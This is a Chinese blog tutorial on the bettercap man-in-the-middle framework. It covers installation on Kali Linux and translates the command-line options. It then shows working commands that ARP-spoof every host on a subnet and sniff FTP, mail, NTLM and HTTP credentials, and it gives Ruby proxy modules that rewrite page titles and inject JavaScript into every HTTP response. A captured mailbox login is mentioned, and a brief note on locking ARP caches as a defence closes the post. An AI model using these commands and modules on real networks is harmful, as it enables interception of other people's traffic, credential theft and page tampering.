0x01简介

bettercap可用来实现各种中间人攻击,模块化,便携、易扩展

0x02特点

提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它
原因如下:

1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器复杂,使用门槛高 3、在大型网络下,主机发现功能效果很差 4、优化不够,对研究人员来说,无用的功能太多 5、扩展性不够,开发需要掌握C/C++语言

0x03测试环境搭建

kali linux:

git clone https://github.com/evilsocket/bettercap

cd bettercap

gem build bettercap.gemspec

sudo gem install bettercap*.gem

如果报错,如图:

执行如下命令:

sudo apt-get install ruby-dev libpcap-dev

sudo gem install bettercap*.gem

最后成功,如图:

0x04参数说明

已做翻译并加入个人理解

用法:

-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐
-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助

0x05功能测试

1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机,如图

2、CREDENTIALS SNIFFER

抓取流量中有价值的信息,包括:

URLs being visited.

HTTPS host being visited.

HTTP POSTed data.

HTTP Basic and Digest authentications.

FTP credentials.

IRC credentials.

POP, IMAP and SMTP credentials.

NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法举例:

默认傻瓜模式,开启所有功能:

sudo bettercap -X

如图为抓到的163邮箱登陆数据

指定抓取的数据包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

如图为抓到192.168.40.146的FTP

3、MODULAR TRANSPARENT PROXY

代理功能,可以拦截篡改HTTP流量

用法举例:

开启代理功能:

sudo bettercap --proxy

开启代理功能并指定端口:

sudo bettercap --proxy --proxy-port=8081

关闭arp欺骗,只开启代理

sudo bettercap -S NONE --proxy

开启代理功能并加载指定的Ruby模块

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby参考示例:

class HackTitle < Proxy::Module

def on_request( request, response )

# is it a html page?

if response.content_type == 'text/html'

Logger.info "Hacking http://#{request.host}#{request.url} title tag"

# make sure to use sub! or gsub! to update the instance

response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )

end

end

end

功能为替换所有html的标题选项

4、BUILTIN HTTP SERVER

内置HTTP SERVER功能,可篡改HTTP响应包内容

用法举例:

在网络的每一个HTTP响应中注入JS文件

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Ruby参考示例:

class InjectJS < Proxy::Module

def on_request( request, response )

# is it a html page?

if response.content_type == 'text/html'

Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"

# get the local interface address and HTTPD port

localaddr = Context.get.iface[:ip_saddr]

localport = Context.get.options[:httpd_port]

# inject the js

response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js'

type='text/javascript'></script>" )

end

end

end

0x06测试心得

亮点:

中间人攻击利用框架的开发,便携,安装简单
整合了各种常用功能,功能模块化,自动欺骗攻击,提高效率
极大降低了工具的使用和开发门槛

不足:

目前只支持arp欺骗,功能仍需完善。

暂不支持windows

0x07总结

之前我用过c++开发arp欺骗&中间人攻击的程序,个人认为arp欺骗的成功与否关键在于ARP缓存表的修改,锁定ARP缓存表目前就能防御bettercap基于arp的中间人攻击 但我相信,bettercap的前景十分广阔。

0x08补充

bettercap下载地址:

http://www.bettercap.org/

水平有限,欢迎补充。

Linux下中间人攻击利用框架bettercap测试的更多相关文章

  1. 转:中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  2. 中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  3. Linux下几种常见压缩方式测试对比

    目录 Linux下几种常见压缩方式测试对比 参考 简介 测试 总结 Linux下几种常见压缩方式测试对比

  4. linux下Python网络编程框架-Twisted安装

    Twisted是python下的用来进行网络服务和应用程序编程的框架,安装Twisted前需要系统预先安装有python. 一.安装Twisted http://twistedmatrix.com/R ...

  5. 使用Kali Linux执行中间人攻击(演示)

    中间人攻击也叫Man-In-The-Middle-Attack. 我假设你已经知道中间人攻击的基本概念,引用一段wikipedia: 中间人攻击(Man-in-the-middle attack,缩写 ...

  6. Linux下四款Web服务器压力测试工具(http_load、webbench、ab、siege)介绍

    一.http_load程序非常小,解压后也不到100Khttp_load以并行复用的方式运行,用以测试web服务器的吞吐量与负载.但是它不同于大多数压力测试工具,它可以以一个单一的进程运行,一般不会把 ...

  7. Linux下高并发socket链接数测试

    一.如何增大service进程的max open files ulimit -n 只能改小max open files,不能改大.需要按照以下步骤: 修改/etc/security/limits.co ...

  8. linux下c语言利用iconv函数实现utf-8转unicode

    iconv是linux下的编码转换的工具,它提供命令行的使用和函数接口支持 man手册iconv命令用法如下: iconv -f encoding -t encoding inputfile 有如下选 ...

  9. Linux下18b20温度传感器驱动代码及测试实例

    驱动代码: #include <linux/module.h> #include <linux/fs.h> #include <linux/kernel.h> #i ...

随机推荐

  1. 学习Rails之activeAdmin

        一.开始ActiveAdmin Active Admin是一个发布在RAILS3中使用的Gem. 1.我们为了快速开始我们对Active Admin的了解,我们首先安装它: 在你GemFile ...

  2. 你不知道的https工作原理

      HTTPS其实是有两部分组成:HTTP + SSL / TLS,也就是在HTTP上又加了一层处理加密信息的模块.服务端和客户端的信息传输都会通过TLS进行加密,所以传输的数据都是加密后的数据 1. ...

  3. 【转】MVC Model建模及Entity Framework Power Tool使用

    MVC如使用Code-First代码优先约定,先建实体类,再根据实体类创建数据库. 在创建实体类后,新建一个数据上下文类,如下: publicclassMusicStoreDB : DbContext ...

  4. 转:不用安装Oracle客户端,远程连接Oracle数据库

    转摘自: http://blog.sina.com.cn/s/blog_90b20fe70101az2z.html Oracle数据库安装过程较为繁琐,而且卸载更加麻烦,如果卸载不干净,下次安装Ora ...

  5. html/css元素

    块级元素 会独占一行,多个block元素会各自新起一行.默认情况下,block元素宽度自动填满其父元素宽度. 可以设置width,height属性.块级元素即使设置了宽度,仍然是独占一行. 可以设置m ...

  6. iOS开源项目周报0323

    由OpenDigg 出品的iOS开源项目周报第十三期来啦.我们的iOS开源周报集合了OpenDigg一周来新收录的优质的iOS开源项目,方便iOS开发人员便捷的找到自己需要的项目工具等. CHIPag ...

  7. spring mongodb查询

    MongoRepository 查询条件 Keyword Sample Logical result After findByBirthdateAfter(Date date) {"birt ...

  8. [LeetCode] Add Two Numbers题解

    Add Two Numbers: You are given two non-empty linked lists representing two non-negative integers. Th ...

  9. PHP读取Excel类文件

    想要使用PHP读取Excel文件必然要用到PHPExcel开源类库,网上资源应该挺多的.但是每一种的操作必然都是不同的,可原理应该都是大同小异. 这个文件夹里包含的就是PHPExcel类文件,在外面还 ...

  10. Python爬虫框架Scrapy教程(1)—入门

    最近实验室的项目中有一个需求是这样的,需要爬取若干个(数目不小)网站发布的文章元数据(标题.时间.正文等).问题是这些网站都很老旧和小众,当然也不可能遵守 Microdata 这类标准.这时候所有网页 ...